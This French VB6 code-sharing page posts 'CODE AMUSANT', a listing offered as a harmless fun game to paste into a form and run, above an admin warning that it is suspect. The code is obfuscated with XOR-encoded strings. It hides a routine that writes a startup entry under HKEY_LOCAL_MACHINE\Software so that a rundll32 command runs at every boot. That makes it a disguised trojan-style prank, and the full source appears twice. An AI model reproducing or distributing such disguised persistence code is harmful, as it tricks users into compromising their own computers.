Accueil > > > CODE AMUSANT
CODE AMUSANT
Information sur la source
Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux. Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Description
Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants! Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!
Source
- Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
- (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
- Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
- (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
- ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
- Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
- (lpVersionInformation As OSVERSIONINFO) As Long
-
- Private Type OSVERSIONINFO
- dwOSVersionInfoSize As Long
- dwMajorVersion As Long
- dwMinorVersion As Long
- dwBuildNumber As Long
- dwPlatformId As Long
- szCSDVersion As String * 128
- End Type
-
- Private Sub Form_Load()
- Call BuildApp
- MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
- LaGrandeVerite$("Dv#Kpo)&'")
- End
- End Sub
-
- Function LaGrandeVerite$(LeText$)
- a$ = ""
- For i = 1 To Len(LeText$)
- LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
- a$ = a$ + Chr$(LeCar)
- Next i
- LaGrandeVerite$ = a$
- End Function
-
- Sub BuildApp()
- Dim Resultat As Long
- Dim Ident As Long
-
- Resultat = 0
- Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
- "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
- Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
- If Resultat = 0 Then
- LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
- If GreatPlaceToLive = 2 Then
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- "==<BerdXybk|Xnhiqq")
- Else
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- Chr$(34) + "\gpb^{`erZlnoss")
- End If
- Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
- End If
- End Sub
-
- Function GreatPlaceToLive()
- Dim Here As OSVERSIONINFO
- Here.dwOSVersionInfoSize = Len(Here)
- Call MaisOuJeSuis(Here)
- GreatPlaceToLive = Here.dwPlatformId
- End Function
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Call BuildApp
MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
LaGrandeVerite$("Dv#Kpo)&'")
End
End Sub
Function LaGrandeVerite$(LeText$)
a$ = ""
For i = 1 To Len(LeText$)
LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
a$ = a$ + Chr$(LeCar)
Next i
LaGrandeVerite$ = a$
End Function
Sub BuildApp()
Dim Resultat As Long
Dim Ident As Long
Resultat = 0
Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
"wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
If Resultat = 0 Then
LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
If GreatPlaceToLive = 2 Then
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
"==<BerdXybk|Xnhiqq")
Else
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
Chr$(34) + "\gpb^{`erZlnoss")
End If
Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
End If
End Sub
Function GreatPlaceToLive()
Dim Here As OSVERSIONINFO
Here.dwOSVersionInfoSize = Len(Here)
Call MaisOuJeSuis(Here)
GreatPlaceToLive = Here.dwPlatformId
End Function
Conclusion
Oh... ça marche même sous windows 2000!
Sources du même auteur
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Détection click souris [ par Duke76 ]
J'ai un bouton de commande sur une feuille excel 2000 . J'ai affecté à l'événement CommandButton1_Click() le code suivant : Range("a1") = 1 .Quand je
bouton droit de la souris [ par WareG ]
BJRetant encore novice en programmation j'ai un petit problème. J'aimerais avec le bouton droit de la souris faire apparaitre un menu flottant dans un
Simuler un Install de fichier .inf via le bouton droit souris [ par carlos95 ]
Je cherche à faire un script qui fait exactement la même chose (install d'un fichier .inf) que l'option Installer via le bouton droit de la souris.Je
Détection appui sur bouton Souris [ par bene74 ]
Bonjour,Je cherche une solution par détecter l'APPUI sur le bouton gauche de la souris (l'évènement Click ne se déclenche qu'au moment du relâché!!!).
*****************Comment bloquer le bouton droit de la souris partout dans le projet??????*************** [ par MasterH ]
Je doit empêche que l'utilisateur utilise le menu du bouton droit de la souris tout au long de mon projet. Les option Couper et Suprimer font planté l
help!!!! [ par Nargzul ]
je cherche comment faire pour simuler un clic de souris, du genre on aurait la souris au dessus d'un bouton, ca clic et le bouton s'enfoncerait...pour
Action continue sur un bouton avec la souris [ par maitkaci ]
Quelqu'un peut-il me donner l'astuce pour obtenir que la pression continue (avec le curseur de la souris) sur un bouton entraine une action permanente
Pb de rollover [ par mat1eu ]
bonjour, j'essaye de creer une rotation d'un clip à l'aide d'un bouton, l'action est simple lorsque la souris est sur le bouton le clip fait une
execute un prog tant que le bouton gauche de la souris est appuyé sur un bouton [ par bibinutz ]
salut tout le mondevoila le dilemne lol :je souhaiterais incrementer une valeur tant qu'un bouton reste appuyé a l'aide de la souris mais le prob
menu dynamique [ par maxelpiratos ]
bonjour a tous, voila j ai cree un menu vertical dynamique , le probleme est que le sous menu ne s affiche que losque la souris passe sur le bouton
|
Derniers Blogs
[DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE[DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE par orion
Comme de nombreux geek, je suis un grand amateur de série TV et je rate régulièrement des épisodes de mes séries préférés. Une solution s'offre à vous avec ce merveilleux site : Tv Gorge - www.tvgorge.com Moteur de recherche à l'appui, vous pouvez ...
Cliquez pour lire la suite de l'article par orion TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010 par ROMELARD Fabrice
Animé par: Vincent Bellet et Baptiste Giraudier La BI dans SharePoint 2010, Les nouveaux services d'application dans SP2010 et SQL Server Reporting services 2008 R2. La BI dans SharePoint est généralisée pour tous afin de permettre à tous les coll...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice TECHDAYS PARIS 2010 : PLAN DE MIGRATION VERS SHAREPOINT 2010TECHDAYS PARIS 2010 : PLAN DE MIGRATION VERS SHAREPOINT 2010 par ROMELARD Fabrice
Animé par: Arnault Nouvel et Antoine Dongois Le processus à prendre : Apprendre (découvrir la plateforme) Préparer (documenter l'historique et choisir la méthode de MAJ) Test (Test de MAJ) Implémenter (Effectuer la MAJ) Valid...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice TECHDAYS PARIS 2010 : LA PLEINIèRE DU SECOND JOURTECHDAYS PARIS 2010 : LA PLEINIèRE DU SECOND JOUR par ROMELARD Fabrice
Après un retour sur l'histoire des TechDays de Paris et le fait que ce soit le plus gros event MS au monde (du fait de sa gratuité), le président de MS France (Eric Boustoullier) a fait une présentation de la vision Microsoft pour les années à venir...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Forum
RE : TEMPS REEL RE : TEMPS REEL par ucfoutu
Cliquez pour lire la suite par ucfoutu RE : TEMPS REEL RE : TEMPS REEL par ucfoutu
Cliquez pour lire la suite par ucfoutu
Logiciels
DB-MAIN (9.1.0)DB-MAIN (9.1.0)DB-MAIN is a data-modeling and data-architecture tool. It is designed to help developers and anal... Cliquez pour télécharger DB-MAIN Xilisoft DPG Convertisseur (5.1.37.0120)XILISOFT DPG CONVERTISSEUR (5.1.37.0120)Xilisoft DPG Convertisseur offre aux fans de Nintendo DS une bonne solution leur permettant de dé... Cliquez pour télécharger Xilisoft DPG Convertisseur GraphicsGale (2.01.01)GRAPHICSGALE (2.01.01)GraphicsGale est un logiciel de PixelArt avec de nombreuse fonctionnalités permettant de réalisé ... Cliquez pour télécharger GraphicsGale Architecte 3D (Platinum 2010)ARCHITECTE 3D (PLATINUM 2010)Architecte 3D Platinium vous permet de concevoir facilement les plans votre future maison, de l'é... Cliquez pour télécharger Architecte 3D TeamViewer 5 (TeamViewer 5)TEAMVIEWER 5 (TEAMVIEWER 5)Dépanner un ami,expliquer une manipulation devient un jeu d'enfant.
Prise en main d'un autre ord... Cliquez pour télécharger TeamViewer 5
|